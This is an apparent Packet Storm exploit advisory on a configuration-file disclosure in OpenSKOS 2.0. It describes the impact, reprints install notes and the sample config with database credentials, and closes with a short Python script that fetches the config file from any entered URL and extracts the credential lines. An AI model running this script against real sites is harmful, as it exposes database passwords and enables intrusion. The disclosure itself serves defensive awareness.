OpenSkos Simple Knowledge Organization System 2.0 File Disclosure

2019-05-01T00:00:00
ID PACKETSTORM:152699
Type packetstorm
Reporter KingSkrupellos
Modified 2019-05-01T00:00:00

Description

                                        
                                            `######################################################################  
  
# Exploit Title : OpenSkos Simple Knowledge Organization System 2.0  
Database Configuration Disclosure  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 02/05/2019  
# Vendor Homepage : openskos.org  
# Software Information Link : openskos.org/api#about-the-openskos-api  
# Software Download Link : github.com/OpenSKOS/OpenSKOS/archive/master.zip  
# Software Affected Versions : 2.0 and other versions  
+ openskos.org/oai-pmh?verb=Identify  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Vulnerability Type :  
CWE-16 [ Configuration ]  
CWE-200 [ Information Exposure ]  
CWE-538 [ File and Directory Information Exposure ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
######################################################################  
  
# Information about Software :  
***************************  
OpenSKOS - Simple Knowledge Organization System  
  
#####################################################################  
  
# Impact :  
***********  
OpenSkos Simple Knowledge Organization System 2.0 configuration file  
may potentially  
  
disclose sensitive information to remote attackers.  
  
The username and password of the database may be obtained trough the  
"application.ini" file.  
  
This is going to have an impact on confidentiality, integrity, and availability.  
  
The configuration file unintentionally stored in  
/application/configs/application.ini  
  
HTTP requests consisting of a single character will cause the software  
to disclose sensitive  
  
configuration information, including the password/database to the  
administrative web interface.  
  
This file is installed, by default, with world readable and possibly  
world writeable permissions enabled.  
  
This may have some potentially serious consequences as the configuration file  
  
also stores password information in plain text.  
  
This issue occurs because access controls on configuration files are  
not properly set.  
  
An attacker can exploit this issue to retrieve potentially sensitive  
information.  
  
Attackers can access config file via URL request. This may aid in  
further attacks.  
  
The access to the /configs directory should be restricted with an adequate  
  
countermeasure by the use of a .htaccess file.  
  
* The product stores sensitive information in files or directories  
that are accessible to actors  
  
outside of the intended control sphere.  
  
* An information exposure is the intentional or unintentional  
disclosure of information to an actor  
  
that is not explicitly authorized to have access to that information.  
  
1. Install the OpenSKOS code  
****************************  
Copy the code to a location of your choice.  
  
Make sure all files are readable by your webserver. Make sure the  
directories data/uploads,  
cache, public/data/icons/assigned and public/data/icons/uploads are  
writable for the webserver.  
  
For security reasons you can place the data directory outside your  
webserver's document root.  
  
1.2 Configuration  
*****************  
To configure OpenSKOS you have to rename:  
  
APPROOT/application/configs/application.ini.dist  
  
to APPROOT/application/configs/application.ini  
  
Now you can edit the APPROOT/application/configs/application.ini.  
  
You can have separate config settings for specific deployments.  
The configuration section marked by the Environment Variable  
APPLICATION_ENV (see 2.1 Setting Up Your VHOST). Most settings are  
self explanatory.  
  
If you experience any problems you may want to modify settings in the config, to  
show you more verbose error messages:  
  
resources.frontController.params.displayExceptions=1  
phpSettings.display_errors = 1  
  
#####################################################################  
  
# Database Configuration File Disclosure Exploit :  
*******************************************  
/application/configs/application.ini.dist  
  
Information :  
*************  
; Solr configuration:  
solr.host = localhost  
solr.port = 8983  
solr.context = /solr  
; Database configuration:  
resources.db.adapter=pdo_mysql  
resources.db.params.host=localhost  
resources.db.params.username=openskos  
resources.db.params.password=openskos  
resources.db.params.charset=utf8  
resources.db.params.dbname=openskos  
resources.db.isDefaultTableAdapter = true  
  
Exploit - Proof of Concept :  
**************************  
#!/usr/bin/python  
import string  
import re  
from urllib2 import Request, urlopen  
disc = "/application/configs/application.ini.dist"  
url = raw_input ("URL: ")  
req = Request(url+disc)  
rta = urlopen(req)  
print "Result"  
html = rta.read()  
rdo = str(re.findall("resources.*=*", html))  
print rdo  
exit  
  
#####################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team  
  
#####################################################################  
`